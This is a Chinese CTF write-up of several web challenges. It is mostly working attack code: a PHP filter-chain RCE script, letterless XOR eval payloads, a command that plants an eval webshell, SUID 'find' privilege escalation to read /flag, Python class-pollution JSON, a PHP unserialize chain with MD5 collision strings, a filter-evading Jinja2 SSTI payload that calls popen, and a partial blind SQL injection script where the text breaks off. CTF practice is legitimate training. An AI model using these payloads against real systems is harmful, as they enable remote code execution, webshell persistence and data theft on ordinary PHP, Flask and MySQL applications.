w5YubyBvd08gMHcwIG92MCDDlndvIE8ubyAwLjAgMC5vIMOWdjAgMHbDliBPdjAgT3fDliBvLk8gw5Z2TyAwXzAgMF9PIG8uTyAwdjAgw5ZfbyBPd28gw5Z2TyDDli5PIMOWXzAgTy5PIMOWXzAgMHbDliAwLjAgw5Z2w5Ygw5Z3MCBPdsOWIMOWdjAgT1/DliDDlnZPIMOWLk8gw5Z3MCBvd8OWIMOWLm8gTy5vIMOWXzAgMHbDliDDlndvIE93w5YgTy5vIE93TyBvX28gw5YuTyBvLm8gb3dPIMOWXzAgb3dPIMOWXzAgMHZvIG8uTyBPd8OWIE92byAwLsOWIMOWdjAgTy7DliAwLjAgMHfDliBvLsOWIG93byBvdzAgMHZvIMOWLm8gb3dPIG9fMCDDli5PIG9fbyBPd8OWIE8ubyBvdzAgw5ZfbyBvd28gw5YuMCDDlnZPIG9fTyBPLsOWIE92MCBPdzAgby7DliAwdjAgT3YwIE9fTyBvLk8gT3bDliDDlnYwIMOWXzAgw5Z3byBvd08gT19vIE93w5Ygby5PIMOWdk8gby4wIDBfMCDDll9vIG93TyBPXzAgMC7DliDDli5vIE8uTyBPdzAgT19vIMOWdjAgb3cwIMOWdjAgT18wIMOWdm8gw5Z2w5Ygw5ZfbyAwX8OWIMOWdm8gw5Z2w5YgMHcwIE92w5Ygw5YubyDDli4wIMOWLm8gb3ZvIMOWLjAgw5YuMCAwd28gb3dPIG8uTyAwd8OWIDB2MCBvd8OWIMOWdzAgw5YubyAwdzAgT1/DliBvX08gw5Z2byAg

base64解码一次:

Ö.o owO 0w0 ov0 Öwo O.o 0.0 0.o Öv0 0vÖ Ov0 OwÖ o.O ÖvO 0_0 0_O o.O 0v0 Ö_o Owo ÖvO Ö.O Ö_0 O.O Ö_0 0vÖ 0.0 ÖvÖ Öw0 OvÖ Öv0 O_Ö ÖvO Ö.O Öw0 owÖ Ö.o O.o Ö_0 0vÖ Öwo OwÖ O.o OwO o_o Ö.O o.o owO Ö_0 owO Ö_0 0vo o.O OwÖ Ovo 0.Ö Öv0 O.Ö 0.0 0wÖ o.Ö owo ow0 0vo Ö.o owO o_0 Ö.O o_o OwÖ O.o ow0 Ö_o owo Ö.0 ÖvO o_O O.Ö Ov0 Ow0 o.Ö 0v0 Ov0 O_O o.O OvÖ Öv0 Ö_0 Öwo owO O_o OwÖ o.O ÖvO o.0 0_0 Ö_o owO O_0 0.Ö Ö.o O.O Ow0 O_o Öv0 ow0 Öv0 O_0 Övo ÖvÖ Ö_o 0_Ö Övo ÖvÖ 0w0 OvÖ Ö.o Ö.0 Ö.o ovo Ö.0 Ö.0 0wo owO o.O 0wÖ 0v0 owÖ Öw0 Ö.o 0w0 O_Ö o_O Övo  

尊嘟假嘟解密一次:

Shy0JhFpsi+njV0IfFfzS44KIcwPFg312qo6gfdk0+DzcoMdSgVs15cERxpqnPJh4Y3b3i/mcbkPlHGTIA6/A8CQU8UX6j9w5HKy

这个应该就是需要rc4解密了,问题是没有密钥,根据所有题目信息,最后猜到密钥是题目描述中的Syclover

rc4解密结果:

文件包含逻辑是include($file.".py"),你能找到flag文件位置吗??

image-20231124111548011

后端逻辑是include($file.".py"),我们可以利用php filter chain突破后缀"限制"

POC:

import requestsurl = "https://o8psad59go93x7xvicykjqu7c.node.game.sycsec.com/index.php"
#可以读取到的文件
file_to_use = "/var/hint"
#要执行的命令
command = "cat /ffffffllllag"#两个分号避开了最终 base64 编码中的斜杠
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"conversions = {'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2','B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2','C': 'convert.iconv.UTF8.CSISO2022KR','8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2','9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB','f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213','s': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61','z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS','U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932','P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213','V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5','0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2','Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2','W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2','d': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2','D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2','7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2','4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"for c in base64_payload[::-1]:filters += conversions[c] + "|"# decode and reencode to get rid of everything that isn't valid base64filters += "convert.base64-decode|"filters += "convert.base64-encode|"# get rid of equal signsfilters += "convert.iconv.UTF8.UTF7|"filters += "convert.base64-decode"final_payload = f"php://filter/{filters}/resource={file_to_use}"r = requests.get(url, params={"0": command,"action": "xxx","file": final_payload
})print(r.text)

image-20231124115040813

SYC{The PhpFFffilter 0n File-include vulnerabilities is s0 Amazing!!#@##}

EzRce【】

直接给了源码,waf暂时未知。

image-20231123033039296

手测了以下貌似过滤单个字符和数字,那就无字母RCE。

查看phpinfo()

?data=("%0f%08%0f%09%0e%06%0f"^"%7f%60%7f%60%60%60%60")();

disable_functions有点多的。

image-20231123033441151

同时也有目录限制。

image-20231123033524591

读取waf文件highlight_file('waf.php')

("%08%09%07%08%0c%09%07%08%0b%01%06%09%0c%05"^"%60%60%60%60%60%60%60%60%7f%5e%60%60%60%60")("%08%01%06%01%0f%08%0f"^"%7f%60%60%2f%7f%60%7f");

image-20231110213458744

可用的单个字符就a、e、l、v

assert被禁用了,异或直接eval('$_POST[1]'),无法生效,$_POST[1]会被当成字符串处理。

image-20231123034027080

我们参考P神的payload:一些不包含数字和字母的webshell | 离别歌 (leavesongs.com)

image-20231123035725832

简单修改一下

<?php
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
eval($___[_]); // eval($_POST[_]);
?data=$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;eval($___[_]);

执行成功。

image-20231123035840952

写🐎到文件。

GET:?data=$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;eval($___[_]);
POST:_=file_put_contents('17.php','<?=eval($_POST[1]);?>');

image-20231123040021350

蚁剑连接。(记得https改成http)【】

image-20231123040130452

限制了/flag的读取权限。

image-20231123040237499

可以利用find提权。

find / -perm -u=s -type f 2>/dev/null       //查看具有suid权限的命令
find / -perm -4000 2>/dev/null         //这个也可以

image-20231123040346885

语法:find [path…] [expression]

path为查找路径,.为当前路径,/为根目录

expression即为参数

-name: 按文件名查找文件

-perm: 按照文件权限来查找文件,4000,2000,1000为分别表示SUID,SGID,SBIT,如777为普通文件的最高权限,7000为特殊文件的最高权限

-user: 按照文件属主来查找

-size n: 文件大小是n个单位

-type:

d:目录
f:文件
c:字符设备文件
b:块设备文件
-atime n: time表示日期,时间单位是day,查找系统最后n*24小时内曾被存取过的文件或目录

-amin n: 查找系统最后n分钟内曾被存取过的文件或目录

-ctime n: 查找系统中最后n*24小时内曾被改变文件状态(权限、所属组、位置…)的文件或目录

-cmin n: 查找系统中最后N分钟内曾被改变文件状态(权限、所属组、位置…)的文件或目录

-mtime: 查找系统中最后N分钟内曾被更改过的文件或目录

-mmin n: 查找系统中最后n*24小时内曾被更改过的文件或目录

-print: 将匹配的文件输出到标准输出

-exec: find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为’command’ { } ;,注意{ }和\;之间的空格。

find提权获取flag:

find /tmp -exec cat /flag \;
find `which find` -exec cat /flag \;
find /etc/passwd -exec cat /flag \;

image-20231124185525351

参考文章:

find基础命令与提权教程_find提权-CSDN博客

find 命令提权 - 内向是一种性格 - 博客园 (cnblogs.com)

SYC{ThE_RCe_is_S0_Eas1ly_DD!}

ezpython【】

题目描述:can you pollute me?

附件直接给了源码,一眼python原型链污染。

import json
import osfrom waf import waf
import importlib
from flask import Flask,render_template,request,redirect,url_for,session,render_template_stringapp = Flask(__name__)
app.secret_key='jjjjggggggreekchallenge202333333'
class User():def __init__(self):self.username=""self.password=""self.isvip=Falseclass hhh(User):def __init__(self):self.username=""self.password=""registered_users=[]
@app.route('/')
def hello_world():  # put application's code herereturn render_template("welcome.html")@app.route('/play')
def play():username=session.get('username')if username:return render_template('index.html',name=username)else:return redirect(url_for('login'))@app.route('/login',methods=['GET','POST'])
def login():if request.method == 'POST':username=request.form.get('username')password=request.form.get('password')user = next((user for user in registered_users if user.username == username and user.password == password), None)if user:session['username'] = user.usernamesession['password']=user.passwordreturn redirect(url_for('play'))else:return "Invalid login"return redirect(url_for('play'))return render_template("login.html")@app.route('/register',methods=['GET','POST'])
def register():if request.method == 'POST':try:if waf(request.data):return "fuck payload!Hacker!!!"data=json.loads(request.data)if "username" not in data or "password" not in data:return "连用户名密码都没有你注册啥呢"user=hhh()merge(data,user)registered_users.append(user)except Exception as e:return "泰酷辣,没有注册成功捏"return redirect(url_for('login'))else:return render_template("register.html")@app.route('/flag',methods=['GET'])
def flag():user = next((user for user in registered_users if user.username ==session['username']  and user.password == session['password']), None)if user:if user.isvip:data=request.args.get('num')if data:if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:flag = os.environ.get('geek_flag')return render_template('flag.html',flag=flag)else:return "你的数字不对哦!"else:return "I need a num!!!"else:return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')else:return "先登录去"def merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)if __name__ == '__main__':app.run(host="0.0.0.0",port="8888")

简单看了一下,在/register路由注册时进行污染,使得User()类的isvip=True

访问/register路由,注册按钮点不动。

image-20231125162227369

源码给了hint:

image-20231125162240495

image-20231125162246184

那就直接传参注册:

image-20231125162307235

解释一下如何污染:

__class__属性换成了user对象的所属的类(hhh)

__base__属性换成了hhh类的所属的直接父类(User)

image-20231125163107801

参考文章:(主要是最后一篇)

【CTF】Python原型链污染_Luminous_song的博客-CSDN博客

Python原型链污染变体(prototype-pollution-in-python) - 跳跳糖 (tttang.com)

Python原型链污染_python 原型链_Elitewa的博客-CSDN博客

注册时候,污染一波,过滤了isvip,使用Unicode绕过。

{"username":"222","password":"111","__class__" : {"__base__" : {"\u0069\u0073\u0076\u0069\u0070": "True"}}}

image-20231125162347026

访问/flag路由,num使用Non-ASCII Identifies绕过。

?num=12345678𝟗

源码里面获得flag。

image-20231125162502175

ez_php【】

开题,点击链接后跳转到源码界面:

image-20231126021122786

好长

<?php
header("Content-type:text/html;charset=utf-8"); 
error_reporting(0);
show_source(__FILE__);
include('key.php');
include('waf.php');class Me {public $qwe;public $bro;public $secret;public function __wakeup() {echo("进来啦<br>");$characters = 'abcdefghijklmnopqrstuvwxyz0123456789';$randomString = substr(str_shuffle($characters), 0, 6);$this->secret=$randomString;if($this->bro===$this->secret){$bb = $this->qwe;        return $bb();}else{echo("错了哥们,再试试吧<br>");}}}class her{private $hername;private $key;public $asd;public function __invoke() {echo("好累,好想睡一觉啊<br>");serialize($this->asd);}public function find() {echo("你能找到加密用的key和她的名字吗?qwq<br>");if (encode($this->hername,$this->key) === 'vxvx') {echo("解密成功!<br>");$file=$_GET['file'];if (isset($file) && (file_get_contents($file,'r') === "loveyou")){echo("快点的,急急急!!!<br>");echo new $_POST['ctf']($_GET['fun']);}else{echo("真的只差一步了!<br>");}}else{echo("兄弟怎么搞的?<br>");}}
}class important{public $power;public function __sleep() {echo("睡饱了,接着找!<br>");return $this->power->seeyou;}
}class useless {private $seeyou;public $QW;public $YXX;public function __construct($seeyou) {$this->seeyou = $seeyou;}public function __destruct() {$characters = '0123456789';$random = substr(str_shuffle($characters), 0, 6);if (!preg_match('/key\.php\/*$/i', $_SERVER['REQUEST_URI'])){if((strlen($this->QW))<80 && strlen($this->YXX)<80){$bool=!is_array($this->QW)&&!is_array($this->YXX)&&(md5($this->QW) === md5($this->YXX)) && ($this->QW != $this->YXX) and $random==='newbee';if($bool){echo("快拿到我的小秘密了<br>");$a = isset($_GET['a'])? $_GET['a']: "" ;if(!preg_match('/HTTP/i', $a)){echo (basename($_SERVER[$a]));echo ('<br>');if(basename($_SERVER[$a])==='key.php'){echo("找到了!但好像不能直接使用,怎么办,我好想她<br>");$file = "key.php";readfile($file);}}else{echo("你别这样,她会生气的┭┮﹏┭┮");}}}else{echo("就这点能耐?怎么帮我找到她(╥╯^╰╥)<br>");}}}public function __get($good) {echo "you are good,你快找到我爱的那个她了<br>";$zhui = $this->$good;  $zhui[$good]();  }
}if (isset($_GET['user'])) {$user = $_GET['user'];if (!preg_match("/^[Oa]:[\d]+/i", $user)) {unserialize($user);}else {echo("不是吧,第一层都绕不过去???<br>");}
}
else {echo("快帮我找找她!<br>");
}
?>  快帮我找找她!

先给链子:

Me::__wakeup()->her::__invoke()->important::__sleep()->useless::__get($good)->her::find()->useless::__destruct()

我们实现RCE是在her::find()方法中,但是首先得先打一遍反序列化在useless::__destruct()获取密钥等信息。

所以我们需要打两遍反序列化,链子也可以是:

Me::__wakeup()->her::__invoke()->important::__sleep()->useless::__get($good)->her::find()->useless::__destruct()Me::__wakeup()->her::__invoke()->important::__sleep()->useless::__get($good)->her::find()

然后我们根据类方法,一个一个分析绕过。


1、序列化字符串绕过!preg_match("/^[Oa]:[\d]+/i", $user)

卡了好久,只能说newbing牛逼几种反序列化漏洞-腾讯云开发者社区-腾讯云 (tencent.com)

// C:16:"SplObjectStorage":54:{x:i:1;O:1:"c":1:{s:4:"code";s:6:"whoami";},N;;m:a:0:{}}
$obj = new SplObjectStorage();
$obj->attach(new c());
echo serialize($obj);
echo '<br>';// C:8:"SplStack":41:{i:6;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplStack();
$obj->push(new c());
echo serialize($obj);
echo '<br>';// C:8:"SplQueue":41:{i:4;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplQueue();
$obj->enqueue(new c());
echo serialize($obj);
echo '<br>';// C:19:"SplDoublyLinkedList":41:{i:0;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplDoublyLinkedList();
$obj->push(new c());
echo serialize($obj);

2、Me::__wakeup()处变量引用绕过随机字符串

$a->bro=&$a->secret;

3、实现useless::__get($good)->her::find()跳转

此步实现:$zhui[$good]();
即seeyou["seeyou"]();
即array(new her,'find')();数组执行类方法$arr1 = array(new her,'find');
$arr2 = array('seeyou'=>$arr1);
$a->qwe->asd->power = new useless($arr2);

image-20231126025149364

4、useless::__destruct()处的md5判断,直接摘抄笔记了。

如果遇到:if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))可用:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2但是由于长度限制在80以内,故需要url解码一次。

5、useless::__destruct()的随机数判断:$random==='newbee',不用管

$bool=!is_array($this->QW)&&!is_array($this->YXX)&&(md5($this->QW) === md5($this->YXX)) && ($this->QW != $this->YXX) and $random==='newbee';因为逻辑是and
优先级可以看作【(】$bool=!is_array($this->QW)&&!is_array($this->YXX)&&(md5($this->QW) === md5($this->YXX)) && ($this->QW != $this->YXX) 【)】 and $random==='newbee';

6、useless::__destruct()的文件名绕过限制

用任何一个不在URL显示并且不影响请求包含义的http头绕过就行,目前找到的只有Content-Type,有HTTP限制,不能用自己的和其他一些请求头。

?a=CONTENT_TYPEContent-Type:key.php

image-20231126034727881

7、坑点之无法生成序列化链子。

分析输出,只有在important::__sleep()方法后的echo才会输出,猜测这里执行了这个方法导致序列化字符串无法生成。。。

经过尝试,sleep改成construct就没问题了

image-20231126030905759


第一次EXP:

<?php//一模一样CV下来
//...
//...
//...
$a=new Me();
$a->bro=&$a->secret;
$a->qwe = new her();
$a->qwe->asd = new important();
//useless::__get($good)->her::find()
$arr1 = array(new her,'find');
$arr2 = array('seeyou'=>$arr1);
$a->qwe->asd->power = new useless($arr2);//md5
$a->qwe->asd->power->QW=urldecode('%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2');
$a->qwe->asd->power->YXX=urldecode('%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2');$obj = new SplObjectStorage();
$obj->attach($a);
echo urlencode(serialize($obj));

源码中发现一堆编码:

/* 【xxx】 */

image-20231126034827276

猜测是base64转图片,还真是。hername=momo,key=9

image-20231126035806656

第二次EXP:

<?php//一模一样CV下来
//her类中属性的private换成public
//...
//...
//...$a=new Me();
$a->bro=&$a->secret;
$a->qwe = new her();
$a->qwe->hername='momo';
$a->qwe->key='9';$a->qwe->asd = new important();
//useless::__get($good)->her::find()
$arr1 = array($a->qwe,'find');
$arr2 = array('seeyou'=>$arr1);
$a->qwe->asd->power = new useless($arr2);$obj = new SplObjectStorage();
$obj->attach($a);
echo urlencode(serialize($obj));

剩下的直接用原生类执行命令。绕过file_get_contents($file,'r') === "loveyou"可用data伪协议。

payload:(DirectoryIterator找flag文件名)

GET:?user=【序列化字符串】&file=data://text/plain,loveyou&fun=glob://flag*POST:ctf=DirectoryIterator

image-20231126041348263

SplFileObject读取文件:

GET:?user=【序列化字符串】&file=data://text/plain,loveyou&fun=php://filter/convert.base64-encode/resource=flag_my_baby.phpPOST:ctf=SplFileObject

image-20231126041520475

image-20231126041539134

klf_2【】

开题。

image-20231114014023359

看源码:

image-20231114014034935

起手robots.txt

image-20231114014100688

访问路由

image-20231114014112191

继续看源码,谢谢三叶草给了我无比强大的信息搜集意识。

image-20231114014141489

OK,那就/secr3ttt路由GET传参klf,有反应。猜测是SSTI

image-20231114014231352

暂且当作是jinja2模板,fuzz一波。

528长度的都是被过滤的,md真狠啊。

image-20231114014641586

此外,还过滤了requestself~appopenread(是我字典不好)

nnd,直接上过滤器!!!!

简单测测,过滤器确实可行,之后应该还会有过滤。

{% set org = ({ }|select()|string()) %}{{org}}

image-20231114015411769

过滤器骚操作如下,由于~被过滤了,所以只能用,|join进行拼接。

{% set po=dict(po=1,p=2)|join()%}  #po=pop
{% set a=(()|select|string|list)|attr(po)(24)%}  #_
{% set oo=dict(o=a,s=a)|join()%}   #os
{% set p=dict(po=a,pen=a)|join()%}  #popen
{% set ch=dict(ch=a,r=a)|join()%}  #chr
{% set in=(a,a,dict(in=a,it=a)|join,a,a)|join()%}  #__init__
{% set gl=(a,a,dict(glob=a,als=q)|join,a,a)|join()%}  #__globals__
{% set ge=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%}  #__getitem__
{% set bu=(a,a,dict(bui=a,ltins=a)|join,a,a)|join()%} #__builtins__
{% set im=(a,a,dict(imp=a,ort=a)|join,a,a)|join()%} #__import__
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%} #__class__
{% set su=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%}  #__subclasses__
{% set ba=(a,a,dict(ba=a,se=a)|join,a,a)|join()%}  #__base__
{% set x=jay17|attr(cl)|attr(ba)|attr(su)()%}  #jay17.__class__.__base__.__subclasses__()
{% set chhr=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(bu)|attr(ge)(ch)%}  #利用os类提取chr函数,用于字符串拼接
{% set pp=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(p)%}  #利用os类提取popen函数,用于字符串拼接
{% set re=dict(re=a,ad=a)|join()%}   #read
{% set en=dict(en=a,v=a)|join()%}  #env
{% set fl=dict(fl=a,ag=a)|join()%}   #flag
{% set ta=dict(ta=a,c=a)|join()%}   #ta
{% set kgxg=(chhr(3),chhr(4))|join()%}   #空格/,用的是全角,不能完全全角,也可以自己构造。
{% set tf=(ta,kgxg,fl)|join()%}   #tac /flag
{% set ll=dict(l=a,s=a)|join()%}   #ls
{% set lll=(ll,kgxg)|join()%}   #ls /
{% set la=(ll,kgxg,dict(ap=a,p=a)|join)|join()%} #ls /app
{% set ha=dict(ha=a,hahaha=a)|join()%}   #hahahaha
{% set th=(ta,chhr(3),ha)|join()%}   #tac hahahaha
{% set ym=(dict(ca=a,t=a)|join,chhr(3),dict(ap=a,p=a)|join,chhr(4),dict(p=a,y=a)|join)|join()%}  #cat app.py
{% set six=(ta,kgxg,dict(ap=a,p=a)|join,chhr(4),dict(fl4gfl4=a,gfl4g=a)|join)|join()%}#tac /app/fl4gfl4gfl4g
{% set cmd=pp(six)|attr(re)()%}  #执行命令{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}

image-20231117000802206

payload:

/secr3ttt?klf={% set po=dict(po=1,p=2)|join()%}
{% set a=(()|select|string|list)|attr(po)(24)%} 
{% set oo=dict(o=a,s=a)|join()%}
{% set p=dict(po=a,pen=a)|join()%}
{% set ch=dict(ch=a,r=a)|join()%}
{% set in=(a,a,dict(in=a,it=a)|join,a,a)|join()%}
{% set gl=(a,a,dict(glob=a,als=q)|join,a,a)|join()%}
{% set ge=(a,a,dict(geti=a,tem=a)|join,a,a)|join()%}
{% set bu=(a,a,dict(bui=a,ltins=a)|join,a,a)|join()%}
{% set im=(a,a,dict(imp=a,ort=a)|join,a,a)|join()%}
{% set cl=(a,a,dict(cla=a,ss=a)|join,a,a)|join()%}
{% set su=(a,a,dict(subcla=a,sses=a)|join,a,a)|join()%}
{% set ba=(a,a,dict(ba=a,se=a)|join,a,a)|join()%}
{% set x=jay17|attr(cl)|attr(ba)|attr(su)()%}
{% set chhr=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(bu)|attr(ge)(ch)%}
{% set pp=()|attr(cl)|attr(ba)|attr(su)()|attr(ge)(117)|attr(in)|attr(gl)|attr(ge)(p)%}
{% set re=dict(re=a,ad=a)|join()%}
{% set en=dict(en=a,v=a)|join()%}
{% set fl=dict(fl=a,ag=a)|join()%}
{% set ta=dict(ta=a,c=a)|join()%}
{% set kgxg=(chhr(3),chhr(4))|join()%}
{% set tf=(ta,kgxg,fl)|join()%}
{% set ll=dict(l=a,s=a)|join()%}
{% set lll=(ll,kgxg)|join()%}
{% set la=(ll,kgxg,dict(ap=a,p=a)|join)|join()%}
{% set ha=dict(ha=a,hahaha=a)|join()%}
{% set th=(ta,chhr(3),ha)|join()%}
{% set ym=(dict(ca=a,t=a)|join,chhr(3),dict(ap=a,p=a)|join,chhr(4),dict(p=a,y=a)|join)|join()%}
{% set six=(ta,kgxg,dict(ap=a,p=a)|join,chhr(4),dict(fl4gfl4=a,gfl4g=a)|join)|join()%}
{% set cmd=pp(six)|attr(re)()%}
{{cmd}}

image-20231117012802216

源码如下:

from flask import Flask, request, render_template, render_template_string,send_from_directory
import re
import osapp = Flask(__name__)@app.route('/', methods=['GET', 'POST'])
def index():return render_template('index.html')@app.route('/secr3ttt', methods=['GET', 'POST'])
def secr3t():klf = request.args.get('klf', '')template = f'''<html><body><h1>别找了,这次你肯定是klf</h1>     </body><img src="https://image-obsidian-1317327960.cos.ap-chengdu.myqcloud.com/obisidian-blog/0071088CAC91D2C42C4D31053A7E8D2B731D69.jpg" alt="g"><h1>%s</h1>   </html><!--klf?--><!-- 别想要flag?klf -->'''bl = ['_', '\\', '\'', '"', 'request', "+", 'class', 'init', 'arg', 'config', 'app', 'self', 'cd', 'chr','request', 'url', 'builtins', 'globals', 'base', 'pop', 'import', 'popen', 'getitem', 'subclasses', '/','flashed', 'os', 'open', 'read', 'count', '*', '38', '124', '47', '59', '99', '100', 'cat', '~',':', 'not', '0', '-', 'ord', '37', '94', '96', '[',']','index','length']#'43', '45',for i in bl:if i in klf:return render_template('klf.html')a = render_template_string(template % klf)if "{" in a:return  a + render_template('win.html')return a@app.route('/robots.txt', methods=['GET'])
def robots():return send_from_directory(os.path.join(app.root_path, 'static'),'robots.txt', mimetype='text/plain')if __name__ == '__main__':app.run(host='0.0.0.0', port=7889, debug=False)

ez_sql【】

开局是一个输入框,需要我们输入id:

image-20231112233146676

输入后回显:
image-20231112233206747

简单测测:【闭合是单引号】,猜测报错会输出你搁这儿干嘛啊???

id=1    正常
id=1'   回显你搁这儿干嘛啊???
id=1''    正常
id=1'''   回显你搁这儿干嘛啊???
id=1''''    正常
id=1'''''   回显你搁这儿干嘛啊???
id=1''''''    正常
id=1'''''''   回显你搁这儿干嘛啊???

闭合用and '1' = '1结尾

id=aaa'/**/||/**/'a'/**/like/**/'a     成功回显了id=1的内容
id=aaa'/**/||/**/'a'/**/like/**/'b     回显 别翻啦!这么多心灵鸡汤都du不了你吗

重点来了,id=aaa'/**/||/**/'a'/**/like/**/'a 成功回显了id=1的内容,为什么不是回显id=aaa的内容呢?说明这个式子在后端会被处理成逻辑值1,而不是aaa

这说明了什么,后端的语句大体是select * from table where id=('xxx')

那就是以')闭合,验证payload:id=4')#aaaa

image-20231113010433061

有waf,我们拿burp打一波fuzz,过滤如下:

image-20231112233650302


过滤字符替换如下:

被过滤字符替代字符
空格/**/
or||
=like
database()schema()
information_schema【传送门1】

奇怪的是联合查询判断不出回显位。。。

payload形如:id=1')/**/union/**/select/**/1,2,3#

没办法,只能用盲注了。

我们正常布尔盲注的payload是:'1\') and if(ord(mid(database(),{},1))>{},1,0)--+'.format(pos, mid_num)或者"-1\" or 0^" + "(ascii(substr((SeleCt grOUp_conCAt(schema_name) fROm information_schema.schemata),{0},1))>{1})-- ".format(i, mid),思想都是获取我们需要的数据(无回显),截取其中的一个字符,通过爆破和比较得到截取的字符是什么。

information_schema肯定是用不了了,database()被禁用了我们用schema()替换,一样的效果。

image-20231117234509374

asciiord等函数也被禁用了,我们可以不用ASCII码,直接拿字符比较。

image-20231117234358536

poyload形如:1') and (select (select schema() limit 1,1) like binary '【字符】%')#

BINARY 是一个在 MySQL 中用于进行二进制比较的关键字。在这个上下文中,它将作用于 LIKE 操作符,用于指示对比过程中区分大小写。

得到初步脚本,可以盲注出当前数据库名字是articles

import requestspayload = '1\') and (select (select schema() limit 1,1) like binary \'{}%\')#'
#payload = '1\') and (select (select object_name from sys.schema_tables_with_full_table_scans limit 1, 1) like binary \'{}%\')#'
url = "http://47.108.56.168:1111/index.php"#dict是爆破的字典,去掉了%_
